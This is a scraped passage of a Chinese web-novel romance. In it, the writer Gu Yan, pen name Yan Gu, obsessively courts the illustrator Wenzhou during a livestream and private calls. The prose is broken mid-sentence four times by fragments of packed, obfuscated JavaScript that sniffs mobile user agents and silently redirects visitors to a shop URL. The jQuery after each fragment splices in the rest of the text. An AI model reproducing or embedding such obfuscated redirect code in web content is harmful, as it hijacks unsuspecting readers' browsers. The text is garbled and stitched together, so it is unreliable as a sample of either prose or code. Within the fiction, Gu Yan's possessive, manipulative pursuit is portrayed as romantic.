察觉到大家的疑惑,闻舟耐心地解释道:“大家别误会,星辰是我的老主顾,一直在我这里约稿,是很支持我的老板。” [原来是金主爸爸,失敬失敬。] [老板求告知是怎么约到宝贝稿件的?我现在想约都约不到。] [舟宝私人稿件基本不接了,现在能约到的都是星辰这样的老熟人。] 弹幕里一片惊叹,纷纷感慨星辰眼光独到,羡慕他能拥有闻舟的私人稿件,唯独顾延的眉头越皱越紧。 那个名为星辰的男声仍在麦上热情地同闻舟聊天,可那声音听在顾延耳中,逐渐与记忆中那个愚蠢堂弟,顾行辰的形象重叠起来。 不可能。 顾延在心里否定。 那个对艺术一窍不通的蠢材,眼光怎么可能如此独到。 尽管顾延在理智上极力否定这个荒谬的猜测,身体却先于思考采取了行动。 就在星辰下麦的同一刻,他已经拿起手机点开了微信,由于有给联系人备注的习惯,顾行辰的微信名在他这里就是本名。 聊天界面还停留在几天前,全是顾行辰单方面发来的大段废话。 顾延眸光微沉,首次主动给这个愚蠢的堂弟发去了消息。 【G:。】 等待的时间比预期更短,几分钟后,顾行辰的回复就跳了出来。 【顾行辰:天啦撸!哥,你今天居然主动给我发消息了!太阳是打西边出来了吗?!】 光是看着这行字,顾延眼前就浮现出顾行辰那副眉飞色舞的蠢样。他没理会对方的大呼小叫,径直切入主题。 【G:在干什么。】 【顾行辰:噢噢噢!哥你问得正好!我刚刚跟我偶像连麦了!】 【顾行辰:上万人里就抽中了我!这说明什么?说明我和我偶像缘分不浅!】 顾延眸光微动,捕捉到关键信息。 【G:和你上次约到稿的是同一个偶像?】 【顾行辰:对对对!就是他!】 时间与事件皆吻合,顾延打字的手停了下来,仍不愿就此认定。 【G:他叫什么?】 【顾行辰:闻舟,是不是名字也特别好听~】 【顾行辰:不过话说回来,哥你怎么突然关心起这个了?】 顾延没有心情再理会顾行辰的追问。 他退出微信,转而打开那个无比熟悉的微博图标,熟练地找到与闻舟的私信对话框。 这个动作,他已经重复了无数个日夜。 从多年前第一次被闻舟的画作深深吸引开始,顾延就养成了一个习惯,每个月固定给闻舟发两三条私信。 他刻意控制着频率,既想表达支持,又担心过于频繁会造成打扰。 几年过去,这个习惯从未间断。可那些认真写下的文字,从未得到过任何回应,哪怕连已读的标识也没有。 时间久了,顾延便自然地认为,闻舟本就是这样的性格,专注于创作,不与粉丝进行私人层面的交流。 他甚至因此而更加珍视这份纯粹,觉得那光芒本就该高悬于天际,不容亵渎。 可现在... 可现在他才惊觉,那束光并非遥不可及。 他所渴望的一切,私人稿件,亲密交谈,私人联系方式,顾行辰都触手可及。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742332|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原来那道光,也会为人间俯身。只是那个人不是他。 破大防的男人将手机锁屏,反扣在桌面上。 房间里只剩下电脑屏幕的光,幽幽映着他没什么表情的脸。下一个幸运观众开始抽取,结果毫无悬念依旧落空。 顾延沉默地坐了几分钟,任由复杂的情绪在胸中冲撞,直到理智重新占据上风,他才不得不接受现实。 顾行辰手中的都是私人稿件,他的收藏库里面没有,想要得到那些画,他别无他法,只能联系顾行辰。 男人认命般重新拿起手机,再次点开与顾行辰的对话框。 【G:你约的那些稿,出吗?我高价收。】 【顾行辰:哥,你居然也看上我偶像的画了?!】 【G:他的画面构图很独特,能激发关于场景和氛围的构思。近期一个卡住的章节,看了他的画有了新方向。】 这个解释合情合理,加之顾行辰是少数知道顾延就是言故的人之一,对此就没有深想。 【顾行辰:原来如此,不愧是言故大神,找灵感的方式都这么独特。】 【顾行辰:不过嘛,这些画都是我的心头肉,而且咱兄弟之间谈钱,那得多伤感情啊。】 【顾行辰:这样,我们做个交易。你帮我解决一次公司的问题,我匀你一张画,互利共赢,怎么样?】 向来厌烦顾行辰纠缠的男人这次没有半分犹豫。 【G:可以。】 【顾行辰:不对劲啊哥,你这回怎么答应得这么爽快?那我可就当真了。】 【顾行辰:哦对了,事先说好,这些都是私稿,哥你可千万不要外传啊。】 【G:知道。】 稿件传输的提示音在房间里响起,顾行辰动作倒是麻利,已经将一部分画作打包发了过来。 顾延将其接收,正欲仔细欣赏这些他费尽周折才换来的画作,耳机里,主持人吐司的声音响起,开始介绍着下一位嘉宾。 方才因起伏的心绪,让他错过了闻舟下麦前的尾声。 不过没什么大碍,他将整场访谈都用录屏记录了下来,之后随时都能把那人的声音单独提取出来,供他晚上反复聆听。 麦上的吐司吊足了大家的胃口:“接下来这位嘉宾,相信许多人都不陌生,我给个提示,他非常有才华,但很少公开露面,大家可以猜猜看是谁?” 昨晚公告突然更新,宣布将有一位神秘嘉宾空降,观众们对此早就充满期待,此刻顺着主持人的引导,各路粉丝竞相猜测起来。 [能在这么多大神里空降,这位绝对不简单。] [很少公开露面又有才华,难道是写手圈那位?] [不可能吧,那位从来不出席这种活动,我觉得不可能是他。] [急死我了,你们说的那位究竟是谁?别打哑谜啊。] 不同于观众们的急切,事先得知消息的方闻洲正盘腿坐在电脑椅里,怀里紧紧搂着胡萝卜抱枕。 原本白皙的脸颊大半都埋进了抱枕里,只露出一双弯成月牙的眼睛,满怀期待的望向电脑屏幕。 除了吐司,只有他知道接下来登场的嘉宾是谁! 按捺不住的开心马上就要溢出来,方闻洲在抱枕上蹭了蹭,收拢手臂,仿佛这样就能把那份欢欣藏住一点儿。 10. 第 10 章 吐司看着直播间被彻底点燃的气氛,觉得时机差不多了,这才继续往下说:“看起来大家都很期待,那我也不吊胃口了,让我们欢迎神秘嘉宾!” 万众瞩目之下,一个新头像现身于麦序。紧接着,低沉富有磁性的男声传入所有观众的耳中:“大家好,我是言故。” 原本热闹的弹幕竟因为这话而短暂停滞了两秒,随即便以更疯狂的速度爆发开来。 [!!!!!!] [我听到了什么????言故?!是我知道的言故吗?!] [卧槽卧槽卧槽!活的言故!] [我不是在做梦吧!有生之年系列!] [啊啊啊啊啊言故老师!真的是您吗!] 直播间右上角的在线人数急剧增加,大批新观众不断涌入,显然都是闻讯赶来的言故粉丝。 不同于满屏的惊叹与欢呼,方闻洲此时有点恍惚,那个低沉的嗓音在他脑海里回荡,轻而易举地颠覆了他长久以来的认知。 言故,竟然是个男人。 他怎么会是个男人? 这实在不能怪方闻洲先入为主。在圈内,关于言故性别的讨论私下里从未停歇。 因其笔下情感描绘细腻,加之创作题材多以男性间的爱情故事为主,使得许多读者,都下意识地以为言故是位情感丰富的女性。 方闻洲更是如此,他曾在脑海中无数次想象过言故的形象,觉得他该是位说话轻声细语,温柔知性的姐姐。 这巨大的反差让他大脑运转不及,彻底罢了工。 怀里的胡萝卜抱枕滑落在地,方闻洲却毫无所觉,只是睁圆了眼睛,愣愣地盯着屏幕上简洁的头像。 不止是方闻洲一人惊讶,吐司也同样如此。不过她反应很快,迅速压下心中的惊涛骇浪,职业素养让她迅速找回了自己的声音。 “其实一直以来都有很多读者猜测,能写出如此细腻文字的您,应该是位女性。关于这一点,您之前知道吗?” 麦序上,言故的声音听不出太多波澜:“嗯,知道。” 他言简意赅的回应,让弹幕又飘过一片“好高冷”的感慨。 似乎是想到了什么,向来话少的男人又补充了一句。 “文字落在纸上被读者阅读,就已经脱离了创作者本身。读者如何解读,赋予它怎样的想象,都是读者的自由。在我看来,故事与文字本身,不该被作者的性别所定义。” “说得太好了!”吐司表示赞同,“那么,请允许我代表广大书迷问一个可能有些私人的问题,可以吗?” “你问。” “是什么样的契机,让您选择了主要创作男性之间的爱情故事呢?“ “没什么特别的契机,因为我喜欢男生。” 言故的腔调轻描淡写,就这样在几十万人面前出柜。 突如其来的宣告,让身经百战的主持人吐司也一时语塞,她张了张嘴,竟组织不起任何语言。 随后的采访,吐司的问题明显谨慎了许多。而言故的回答虽简短,却也句句落到实处。 采访进程过半,终于来到了备受期待的抽取幸运观众环节。 由于言故首次公开露面就带来了如此爆炸的信息,观众们的参与热情空前高涨,所有人都盼望着能获得与言故直接对话的机会。 “让我们看看,第一位幸运儿会是谁呢?” 吐司话音刚落,抽奖结果揭晓,一个熟悉的ID再次跃入了所有人的视野。 闻舟。 ...... 方闻洲的脑子到现在都是懵的。 从言故承认自己是男性,到坦然说出喜欢男生,他的世界观就在持续崩塌与重建中反复横跳。 直到自己的ID被吐司念出来,他才回过神来。 抽中我了? 他不敢置信地眨了眨眼睛,屏幕上中奖的名称确确实实是闻舟二字。 得知这个结果,方闻洲的心脏不受控制开始狂跳起来。 自己上麦都从未紧张过的男孩,此刻竟因为一个即将到来的对话而心慌意乱。 他要和言故对话了? 慌乱之下,方闻洲手忙脚乱地去摸索桌上的鼠标,就在指尖点下的同一刻,连麦请求被自动接通。 两位在不同领域封神的人物以这种方式同框,让直播间的讨论度冲上了巅峰。 [从未想过这天,我的两大本命居然同框了!!] [已截图设为传家宝,此生死而无憾了。] [不得不说,他俩声音意外地好搭啊。] 然而,与观众们的狂喜不同,连麦接通后,预想的对话并未开始。 两端同时陷入了沉默,随着时间拉长,直播间的气氛陡然变得耐人寻味。 “两位,”吐司终于看不下去,出声提醒,“互相打个招呼呀?” 正纠结怎么开口的方闻洲拍了拍胸口,握紧拳头小声为自己打气。就在他鼓足勇气正欲说话,言故的声音却抢先一步响起。 那声音褪尽了以往的清冷疏离,温和得不可思议。 “闻舟。” 他唤了他的名字,声线像是将万千情愫都揉碎了,最终化作一句极尽温柔的:“初次见面,你好。” 这本是句寻常的问候,可言故的声线太过温柔,竟让方闻洲无端听出了亲昵感,半边身体随之一麻。 他定了定神,才回道:“...言故老师,您好。” “不用这么客气,叫我言故就好。” “那么,作为我首次直播连麦的幸运观众,闻舟,你有什么愿望吗?任何请求都可以提。” 任何请求都可以提? 这话太过宠溺,弹幕已经快疯了。 方闻洲只觉得大脑一片空白,先前想好的所有措辞全都飞到了九霄云外,仅凭本能脱口而出:“我想要你的亲笔签名!” 话说出口,后悔就来不及了,等方闻洲反应过来,内心的小人瞬间羞耻到倒地打滚。 他在说什么呀!也太不矜持了! “啊啊啊...” 方闻洲呜咽一声,抬手捂住发烫的脸,整个人羞得缩成一团,恨不得当场钻进地缝里去。 就在他羞愤欲绝,马上就要踹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742333|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉网线假装掉线,耳机里传来了一声低笑。 “没有问题。”言故的应允干脆利落,随后他话锋一转,“不过在履行你的愿望之前,我也有个不情之请,想请闻舟帮忙。” 帮忙?帮什么忙? 方闻洲思绪还陷在方才的羞耻感里,只从喉咙里挤出疑惑的音节:“...昂?” “不知道我有没有这个荣幸,能约一幅闻舟老师的画作?” “啊?”方闻洲又是一怔。 “是这样,我很久以前偶然在网上看过你发布的画,对你用色和构图的风格印象深刻,之后一直希望有机会能约幅你的作品。” “当然,如果闻舟你平时太忙,不方便也没关系的。” “没有不方便,我可以的!” “真的吗?那太好了。为了方便沟通画稿的具体事宜,之后我们加个联系方式?” 顾延这话说得滴水不漏,将私人的请求藏在了画作的邀约之下。 方闻舟不疑有他,只觉得再正常不过,对着麦克风软糯地连应了两声:“嗯嗯!好的!” 两位在不同领域被封神的人物,就这么你来我往的说起话来。 言故一改先前接受采访时的冷淡性子,开始主动引导话题内容,让方闻洲从最初的紧张无措,渐渐放松下来,甚至开始分享一些创作时的趣事和心得。 他们越聊越投机,完全忘记这还是在直播,忘记了麦上还有一位努力保持微笑的主持人和无数目瞪口呆的观众。 [等会儿,我怎么觉得在场几十万观众都有点多余呢?] [吐司:hello,台上的两位,还记得有我这个主持人吗?] [这不是爱情是什么?] 直播间热度居高不下,吐司看着已经完全脱离掌控的访谈节奏,以及聊得旁若无人的两位主角,内心五味杂陈。直到看着时间差不多了,才不得不出声打断这越来越私人的对话。 “非常感谢言故老师和闻舟老师带来的精彩交流!不过由于时间关系,我们今天的连线环节就暂时到这里了哦?” 意犹未尽的方闻洲这才惊觉场合不对,耳根一热,连忙道:“啊,好的好的,抱歉占用了大家太多时间。言故,吐司,还有直播间的大家,再见。” 言故已恢复了那副惯常的冷淡模样,跟在方闻洲声音后头,简单道了声别。 连麦断开,麦序上下一个嘉宾准备登场。 尽管访谈还未结束,微博上关于“言故出柜”和“言故闻舟同频连麦”的话题也掀起了不小的波澜。 方闻洲的微博粉丝数以肉眼可见的速度上涨,评论区满是激动不已的粉丝和路人。 今天的一切对于方闻洲来说,就像是做了场梦。 心脏还在扑通扑通跳得欢快,全身的细胞都在雀跃地叫嚣着好开心好开心。 他弯腰捡起掉在地上的胡萝卜抱枕,拍了拍上面并不存在的灰尘,然后用力搂进怀里。 心里的小人儿正转着圈圈放烟花,手里还举着大喇叭,恨不得向全世界告知:舟舟同学今天真是太棒了,一举拿下言故老师的微信。 11. 第 11 章 连麦结束之后,言故便主动向方闻洲索要联系方式。方闻洲刚发过去不久,好友申请就弹了出来。 对方头像与他简洁的名称格格不入,是一只眼神幽邃的兽类。 将言故的所有书都看过一遍的方闻洲自然不会认错这只兽类的形象,这是言故笔下的角色,暗影。 在言故的书中,暗影是一只对凝光珠怀有近乎毁灭性执念的妖兽,它阴狠狡诈,为达目的不择手段,是主角团前行路上最难缠的反派之一。 因其行事过于偏执狠戾,在读者中风评两极,有不少人直言不喜。没想到作者本人竟会偏爱如此偏执的角色。 方闻洲的思绪还陷在那只阴狠妖兽头像上,掌中手机的震动让他回过神。 【G:闻舟,很高兴能这样直接的与你交流。】 待看清言故发来的消息,他将那点困惑暂时压下,飞快回复。 【闻舟:言故老师好!我也特别高兴能加上您!】 【G:关于画作,有些具体想法想和你沟通,现在方便吗?】 【闻舟:方便的! 言故老师请说。】 【闻舟: [乖巧坐等.jpg]】 【G:某些细节用文字描述可能不够直观。】 【G:可以语音吗?】 或许是刚结束连麦,彼此间的拘谨已消融大半。看到请求,方闻洲没作多想,只觉得这确实是沟通最高效的方式。 【闻舟:当然可以!】 伴随语音通话的邀请被接通,熟悉的男性嗓音再次贴着耳廓响起。 “喂,能听到吗?” 这声线比在直播间里听到的更加真切,不知道是不是因为四周过于安静,方闻洲只觉那话音落下后,听筒里并未陷入完全的沉寂。 一阵轻缓的呼吸声,若有似无地萦绕在背景里。 就在这片刻的空白里,那头似乎因他迟迟没有回应而生出些许疑问,又传来探寻意味的单音。 “嗯?” “啊!在、在的!我在听!” 意识到自己竟又习惯性地走了神,方闻洲慌忙应声。 言故好像是笑了一下,继续说:“不用这么紧张,我们来聊聊画稿?” “好的!言故老师您有什么具体想法吗?” “嗯,我想约一组原创角色。” 方闻洲点点头,表示在听。他接过的私稿很多,甲方想要原创角色是常事。 言故的语速不疾不徐,描述道:“主题是两个男生,两者的氛围需要比较暧昧一点。” “暧昧一点?” 方闻洲重复了一遍,心下了然。 他擅长捕捉人物间微妙的情愫和张力,无论是隐晦的眼神交汇还是肢体接触,都能用画笔渲染得恰到好处。 这类强调氛围感的稿件他接过不少,算是驾轻就熟。 “我明白,就是那种欲说还休,彼此吸引又尚未挑明的感觉,对吗?” “不,不是那种停留在暗示层面的暧昧。” 方闻洲愣了一下:“您的意思是...?” “我需要更直接的肢体接触,要能看出主导与被主导关系的画稿。” “啊...” 方闻洲的心脏莫名一跳,这要求比他预想的要大胆许多。 言故老师如此费心地构思这样一幅具私人意味的画作,是为了送给谁吗? 这念想让他心头掠过奇怪的异样感。但他很快压下这感觉,告诉自己这是工作,甲方有甲方的需求。 “我理解了。那么关于这两个角色的具体形象,您有什么构想吗?” 电话那头安静了会,只有那轻缓的呼吸声证明着连接并未中断。 就在方闻洲以为信号出现问题的时候,言故的声音再次响起,却抛出了一个与画稿毫无关联的问题。 “闻舟,你本人有染头发的习惯吗?” “诶?” 这话题跳跃得太快,方闻洲完全没跟上节奏,茫然了下,老实回答:“没有的,我一直是黑发。” “嗯。”言故在那头应了一声,听不出其中情绪。 随即,他自然而然地将话题拉回了正轨,仿佛刚才那个突兀的问题只是随口一问:“那就这样设定吧,其中一方要黑发黑眸,外表看起来要比较乖。” 那个“乖”字在他口中,比别的字音更轻点。 “至于另一方,要穿黑色西装。其中关键在于,如何在那身禁欲的框架下,让欲望昭然若揭。” 方闻洲的脑海里随着言故的描述,已经开始自动勾勒线条与光影。 黑发黑眸,看起来乖巧的角色,被一个身着黑西装充满掌控力的男人禁锢在某种界限之内。 这确实是极具戏剧张力的画面。他不得不承认,言故很懂得如何营造这种致命的性张力。 “我大概有画面感了。”方闻洲努力将注意力集中在创作上,“西装象征着一种秩序,而角色的内心正试图冲破它?” “很准确。”言故语气赞许,“那么闻舟,你觉得什么样的姿势,最能直观地体现两个人物之间的碰撞?” 他不直接说出要求,而是将问题抛回给方闻洲,像是在引导他一步步走入一个早已设定好的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742334|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境。 方闻洲不由自主地跟随他的思路沉吟起来:“嗯,比如,让被掌控方靠在墙边或者沙发上,掌控方一只手撑在他耳侧的墙面或靠背上,形成一种禁锢的姿态?” “思路不错,不过我更希望场景在床上。” 这个地点所蕴含的亲密感和暗示性,远比墙壁或沙发要强烈得多。他能立刻联想出床单上可能发生的更为私密的纠缠。 “嗯。”言故的声音异常耐心,“想象一下,被掌控者陷在柔软的床铺里,西装革履的一方覆身而上,用身体和阴影将他完全笼罩,张力不是更足吗?” 方闻洲被他说服了。 作为画师,他能马上想到这是怎么样一种姿势,方闻洲顺手拿过身边常备的速写本和铅笔,将手机的扬声器打开。 言故的话语牵引着他的笔尖,铅笔在纸上发出沙沙的轻响,他完全沉浸在了构图思考中,暂时忘记了两人讨论这个话题时那细微的违和感。 很快,一幅动态十足的草稿雏形便在纸上显现出来。 画面中央,一个黑发凌乱的少年半趴在床榻之上,他身下的床单因动作而皱起。少年微微侧头,露出小半张脸,而在他身后,穿着西装的男人俯身紧贴。 男人的一只手绕过少年的腰际,扣在对方的腹部,将少年整个人嵌进自己怀里。他的脸颊埋在少年颈侧,紧绷的下颌线条与宽阔的肩膀轮廓充满了侵略性。 线条虽然潦草,但两人之间的暧昧氛围已经跃然纸上。 在方闻洲专注于创作的这段时间里,言故也一直保持着安静,听筒里只有彼此轻缓的呼吸声交织。 当方闻洲终于停下笔,还不等他从创作的思维中完全抽身,听筒那端便像是算准了时机般传来言故的声音。 “闻舟老师,画完了吗?能不能给我看看草稿?” 方闻洲闻声一怔,这才想起两人还竟一直保持着通话。他低头看向速写本上那幅肢体交织的草图,一股热意冲上耳根。 要在连麦的情况下,把这样一张充斥着私密感的草图直接发过去,怎么想都感觉有点羞耻。 言故老师果然心里只有对艺术的追求,方闻洲这般想着,嘴上回道。 “好的好的,您稍等。” 图片在对话框里加载完毕,对方接收了图片。 短暂的寂静后,言故的声音再度响起,比刚才低哑了几分,他说。 “...闻舟老师真棒。” 话的开头,似乎还有两个音节,被说话人含在唇齿间一带而过,不知道是不是故意为之。 总之,方闻洲没能听清。 12. 第 12 章 通话被切断,房间里最后一点属于方闻洲的声音也消失了。 顾延将手机随意丢在桌面上,径直走向打印机,将屏幕上方闻洲笔下的那幅草稿打印了出来。 纸张还带着机器余温。他并没有马上拿起,而是垂眸,用目光缓缓扫过画面上的每一个细节。 少年凌乱的黑发,侧头露出的颈线,被紧紧箍住那截腰身... 他看得极其专注,眸色深沉。 半晌,他才伸手捻起那张纸,目光依旧胶着在画中那个黑发少年身上,仿佛透过纸面,看到了另一端正因羞赧而耳根发烫的年轻画师。 扭曲的满足感在他瞳孔深处一闪而过。 正当男人还准备做点什么,手机铃声响彻整个房间,打破了沉溺于画中世界的人。 顾延的动作骤然定格,他抬起眼,视线转向那台吵闹的手机,眼神里淬满了被侵扰的阴鸷。 任由它响了好几声,男人才用那只空着的手划开接听键。 “说。” 顾延对着话筒开口,声音听不出丝毫对来电者的尊重,与刚才判若两人。 屏幕那头被这不带温度的单字噎住了,过了会儿,顾行辰才想起打这通电话的目的。 那点被顾延气场压下去的底气,又虚张声势地冒了头,他理不直气也壮的问道:“哥!你老实说,是不是早就看上闻舟了?” 今天的访谈他一直都在,当听到主持人宣布神秘嘉宾是言故时,顾行辰差点把手机给摔了。 那厌恶一切无意义社交的顾延,居然会同意上这种公开的线上访谈? 之后的发展更是完全超出了顾行辰的预料,他什么时候听过顾延用那种语气和别人说过话? 这太匪夷所思了... 虽然他和顾延真正相处的时间不长,但他自认十分了解自己的兄长,顾延从无对陌生人假以辞色的先例。 “关你屁事。”听筒里,顾延的声音打断他的思绪。 这熟悉的态度,反倒让顾行辰松了口气。 对嘛,这才是他哥的正常反应。 他打电话过来,确实存了几分探究兄长隐秘心思的目的,但听筒里传来的声音阴郁冰冷,昭示顾延耐心告罄。 他不敢再触霉头,只好悻悻地咽下所有关于闻舟的疑问,清了清嗓子,切入正题:“咳,哥,最近业务扩张,进来了很多新人,局面有点繁杂。想请你出面,给他们做个高规格的培训。” 他知道这个请求听起来有多离谱。 果然,顾延嗤笑,语气里的嘲讽毫不掩饰:“顾行辰,你把我当成什么了?免费的培训讲师?你们人力资源部门是集体休假了,还是公司已经穷困到请不起外援了?” 一连串的质问砸过来,让顾行辰头皮发麻。 “不是那个意思。这次招聘筛选严格,进来的几个新人资质和潜力都非常突出,是值得重点培养的苗子。所以才想请你亲自过目,把把关。” 这话半真半假,两人都心知肚明,看新人只是个顺带的借口。核心在于,只要顾延出现在公司,许多悬而未决的问题,往往就能迎刃而解。 时间分秒过去,就在顾行辰以为会被直接拒绝时,顾延的声音再次传来。 “我的时间很宝贵,报酬是什么?” 上次双方有过约定,顾延出手解决一次问题,顾行辰就必须允一张闻舟的画给他,但之前的约定显然不适合当前情景,顾延想要另外讨得报酬也说得过去。 顾行辰想了想,报出一个数字,“五十万,买你这些天时间。” 听筒里一声不吭,这让他心知顾延对此报酬并不满意。 顾行辰继续加码:“七十万!” 话音如石沉大海,顾延还是不为所动。 顾行辰额角沁出细汗,大脑飞速运转。 钱不行,那—— 电光石火间,他福至心灵:“一天换两张闻舟未公开的手稿,怎么样?我负责去谈,无论用什么方法,一定给你弄来。” “......” “一天三张!” “安排好时间。另外,给我准备一间单独的办公室。” 几十万的现金在他哥眼里与废纸无异,根本无法打动他分毫。但闻舟的画稿这几字一出,就撬动了顾延坚不可摧的原则。 顾行辰握着电话,终于摸清了顾延那难以揣测的性情里,唯一的软肋所在。 —— 时光悄然流转,如今言言已与方闻洲相处得十分熟稔。 这只通体灰色的小家伙粘人得厉害,每至深夜,它总得跃上方闻洲的床铺,在那片专属的枕头角落团成毛茸茸的一团。 宠物医生曾经建议过他,幼猫初期最好笼养,既能保证安全,也有助于培养良好的习惯。 方闻洲之前也试过狠下心来,将小家伙放进笼中,可言言对此表达了极大的抗议,只要一放入笼子里,言言就会用叫声表达不满。 声音执拗,一声接一声,不知疲倦,即使把嗓音都叫哑了,它也绝不妥协,非要等到方闻洲心疼地打开笼门才肯罢休。 不知道这偏执的性格是随了谁的? 至此之后,方闻洲的枕旁俨然成了言言的领地。 今天如同往常一样,晨光透过窗帘的缝隙落于方闻洲眼睑上。他睫毛颤动,尚未完全睁眼,便先感受到枕边那团熟悉的温热。 言言不知醒了多久,灰此刻正揣着小手,绒绒的小身子就挨在他枕边,一双澄澈的圆眼睛安静地望着他,不吵也不闹,乖巧得让人心头发软。 直到方闻洲彻底清醒,撑着身子坐起来,那团小影子才跳下床,颇为矜持地仰起头。 “喵。” 明明着急讨食,却偏要摆出维持体面的小模样,方闻洲被他逗笑,弯下腰,在光滑柔软的皮毛里好好揉搓了一番,这才走向角落的空碗,为其添上满满的猫粮。 一周已过,今天该去新公司报道了。 身边的言言埋首碗中迅速进食,方闻洲蹲在一旁,语气认真同它商量:“言言,从今天起爸爸要开始工作了,你白天要自己在家,答应我要乖乖的,好不好?” 小家伙百忙之中抬起头,胡须颤了颤,又“喵”了一声,也不知是听懂了,还是仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742335|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅在回应。 不管怎样,离别时刻终究到来。方闻洲提起背包的声响,让言言立刻从食碗中抬起头,它默契地跟到玄关,仰头望着主人。 一个温柔的抚摸落在头顶,言言会意般停住脚步,在原地蹲坐下来。 “等我回来,言言。” 门被轻轻合上,就此隔绝了内外。 街上人来人往,基本都是早起上班的牛马,方闻洲转身踏入清晨的街道,汇入了行色匆匆的人流。 作为一名初入职场的新人,他还没有购置代步车,通勤的选择无非是地铁或出租。而对那传说中的早高峰,他心存好奇,于是脚步一拐,选择了前往地铁站的方向。 这份好奇在他踏进地铁站那一刻便荡然无存。 入目所及皆是涌动的人头,他被身后的人流推挤着,脚不沾地地被卷进了车厢。 门在他身后艰难地关上,他被牢牢镶嵌在拥挤的人群中间,前胸贴着后背,连呼吸都倍感艰难。 短短几站路,竟比画一整夜的线稿还要耗费心神。 当他终于随着人流挤出地铁站,重新呼吸到新鲜空气,有种重获新生的恍惚感。 明天就算花钱打车,也绝不可能再踏进这早高峰的地铁半步了。 他暗自在心里默默发着誓,不觉间,那栋气派的写字楼已近在眼前。 方闻洲稍稍整理了下被挤皱的衣襟,目光及至门口,却不由得微微一愣。 公司门口停着辆黑色轿车,瞧着价格不菲,车旁立着的身影,正是上次面试时有过一面之缘的小顾总。 此刻,这位小顾总竟候在门边,分明是在静候着车内某位重要人物下车。 方闻洲心下诧异,不由得揣测起来,车里究竟是何等人物,能让公司的小顾总亲自在此充当迎宾,还如此恭敬? 然而,上司的事情自然轮不到他一个新人过问。 眼下尴尬的是,他与小顾总及那辆车几乎就在同一入口处,若是视而不见直接越过上司走进公司,未免太过失礼。 少年只好放缓了脚步,略作迟疑,还是朝着小顾总的方向走去,打算简单问候一声,再自然地进入大楼。 他正往前走了两步,车门便从里面被推开了。 一双黑鞋率先落地,包裹在休闲裤下的长腿随之迈出。 只见那位小顾总喜笑颜开地迎上前去,语气热络地唤了一声:“哥!” 这声叫唤落进方闻洲耳中,让他的脚步停住,视线也不由自主地随着这声称呼转了过去。 下一刻,他的目光便与那道刚从车上下来的身影撞了个正着。 男人的面容对他而言并不陌生。 从初遇到现在不过月余光景,这已是他们的第三次相遇。 明明彼此之间连姓名都未曾知晓,更不曾有过任何约定,命运却总是一而再、再而三地将他们推向彼此的视野之中。 方闻洲少年心性,只觉得这巧合难得。 他如同前两次的见面那般,朝男人露出笑容。 眉眼弯弯,唇角扬起,神情灵动,整个人说不出的朝气可爱。 13. 第 13 章 注视着那双向他弯起的眼眸,顾延心底那个扎根已深的念头再次破土而出。 他果然是想和我交好。 于是,在顾行辰难掩惊讶的注视下,向来对无关人等视若无睹的顾延,竟破天荒地对着几步之外的少年略微颔首,给予了回应。 虽然只是微不可察的一个动作,却足以让熟知他秉性的顾行辰瞪大了眼睛,活像见了鬼一样。 顾行辰的目光在顾延和方闻洲之间来回扫视,忍不住问道:“哥,你们认识?” 看到顾延动作的方闻洲心里有点失落,收敛起笑意。 对方连打招呼都只是疏离地点个头,恐怕是真的不愿与自己这个仅偶遇过两次的陌生人多有牵扯。 思及此,方闻洲不愿让对方为难,抢在顾延开口之前解释道:“小顾总,我们不算认识,只是之前碰巧见过两面。” 一句话,就将两人之间的关系定义得清晰而疏离。 方闻洲自觉这番话十分得体,既化解了现场可能的尴尬,又绝不会给那位冷淡的先生增添困扰。 虽然遗憾不能交到新朋友,方闻洲还是在心里为自己点了个赞。 他的小人儿在心底叉起了腰,下巴微扬:嗯!反应迅速,言辞妥帖,姿态无可挑剔,我简直是社交界的小天才。 可这得意还没持续两秒,小人儿突觉危险感降临,连忙左顾右盼寻找危险源头。 只见一道沉沉的视线落在自己身上,顾延一言不发,只是看着他,眼神深不见底。方才还自然无比的方闻洲,被这目光看得心头莫名一虚。 